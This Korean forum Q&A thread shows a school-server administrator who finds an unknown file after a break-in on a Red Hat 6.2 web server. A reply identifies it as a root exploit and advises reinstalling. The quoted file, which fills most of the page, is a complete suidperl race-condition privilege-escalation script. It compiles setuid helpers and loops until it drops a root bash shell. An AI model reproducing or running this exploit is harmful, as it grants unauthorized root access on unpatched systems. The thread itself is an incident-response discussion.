적수네 동네 - 질문과 답변 [ 게시물 수정 ]

	>> Edit article


			이름
			제목
			패스워드

혹시나 했는데... 역시나...
 갈아엎긴 갈아엎어야 될 것 같네요..젠장
 학기말이라 바빠죽것는데....
 : Perl의 버그를 이용해서 루트권한을 따는 공격도구입니다.
: 레이스컨디션을 이용하는 넘이구요....
: 
: 업데이트되지 않는 레드헷의 suidperl은 그냥 이넘 죽 긁어다가 붙이구
: 실행하면 루트쉘 떨어집니다.
: 
: 지우구, 시스템 갈아엎으세요...
: 
: : 도대체 이게 뭘까요?
: : 학교 웹서버에 언 넘이 들어온것 같은데....
: : 로그파일도 거의 다지워지고
: : 모르는 계정도 하나 생기고...
: : ftp나 telnet도 잘 안되고.. 
: : telnet에서 su가 안 먹힙니다. 자꾸 incorrect passwd라고만 나오네요.
: : 
: : /bin 에 check란 이름으로 들어있는 넘인데....
: : 예전에는 없었습니다.  영 찜찜해서리..
: : 아흐 머리아퍼...
: : 서버는 레드햇 6.2입니다. 이참에 서버를 갈아엎어버려?
: : ------------------------------------------------------------------------
: : # Redhat 6.2 / 6.1 / 6.0 / 5.2
: : 
: : clear
: : 
: : echo "Suidperl 5.00503 (and newer) root exploit"
: : echo "-----------------------------------------"
: : echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
: : echo "With great respect to Sebastian Krahmer..."
: : echo
: : 
: : SUIDPERL=/usr/bin/suidperl
: : SUIDBIN=/usr/bin/passwd
: : 
: : echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
: : 
: : if [ ! -u $SUIDPERL ]; then
: :   echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
: :   echo "    does not exist at all. If there&#039;s +s perl binary available,"
: :   echo "    please change SUIDPERL variable within exploit code."
: :   echo
: :   exit 0
: : fi
: : 
: : 
: : if [ ! -u $SUIDBIN ]; then
: :   echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
: :   echo "    all. Please pick any other +s binary and change SUIDBIN variable"
: :   echo "    within exploit code."
: :   echo
: :   exit 0
: : fi
: : 
: : echo "[+] Checks passed, compiling flares and helper applications..."
: : echo
: : 
: : cat >flare <<__eof__
: : #!/usr/bin/suidperl
: : 
: : print "Nothing can stop me now...";
: : 
: : __eof__
: : 
: : cat >bighole.c <<__eof__
: : main() {
: :   setuid(0);
: :   setgid(0);
: :   chown("sush",0,0);
: : __eof__
: : 
: : cat >sush.c <<__eof__
: : main() {
: :   setuid(0);
: :   setgid(0);
: :   system("/bin/bash");
: : }
: : __eof__
: : 
: : make bighole sush
: : 
: : echo
: : 
: : if [ ! -x ./sush ]; then
: :   echo "[-] Oops, seems to me I cannot compile helper applications. Either"
: :   echo "    you don&#039;t have working &#039;make&#039; or &#039;gcc&#039; utility. If possible,"
: :   echo "    please compile bighole.c and sush.c manually (to bighole and sush)."
: :   echo
: :   exit 0
: : fi
: : 
: : echo "[+] Setting up environment..."
: : 
: : chmod 4755 ./flare
: : 
: : FILENAME=&#039;none
: : 
: : ~!bighole
: : 
: : &#039;
: : export interactive=1
: : PATH=.:$PATH
: : 
: : echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
: : echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
: : echo "[+] heavy system load."
: : 
: : while :; do
: :   ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null
: : &
: :   ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
: :   if [ -u ./sush ]; then
: :     echo
: :     echo "[+] VOILA, BABE :-) Entering rootshell..."
: :     echo
: :     rm -f "$FILENAME" sush.c bighole bighole.c flare
: :     ./sush
: :     echo
: :     echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
: :     echo
: :     rm -f "$FILENAME" sush.c bighole bighole.c flare sush
: :     exit 0
: :   fi
: : done
: : 
: : --
: : 죽것당... 뭘 알아야지...
: 
: --
: Mail : iostream1111 at yahoo.com
: WWW : khpark.com
: ftp movie@khpark.com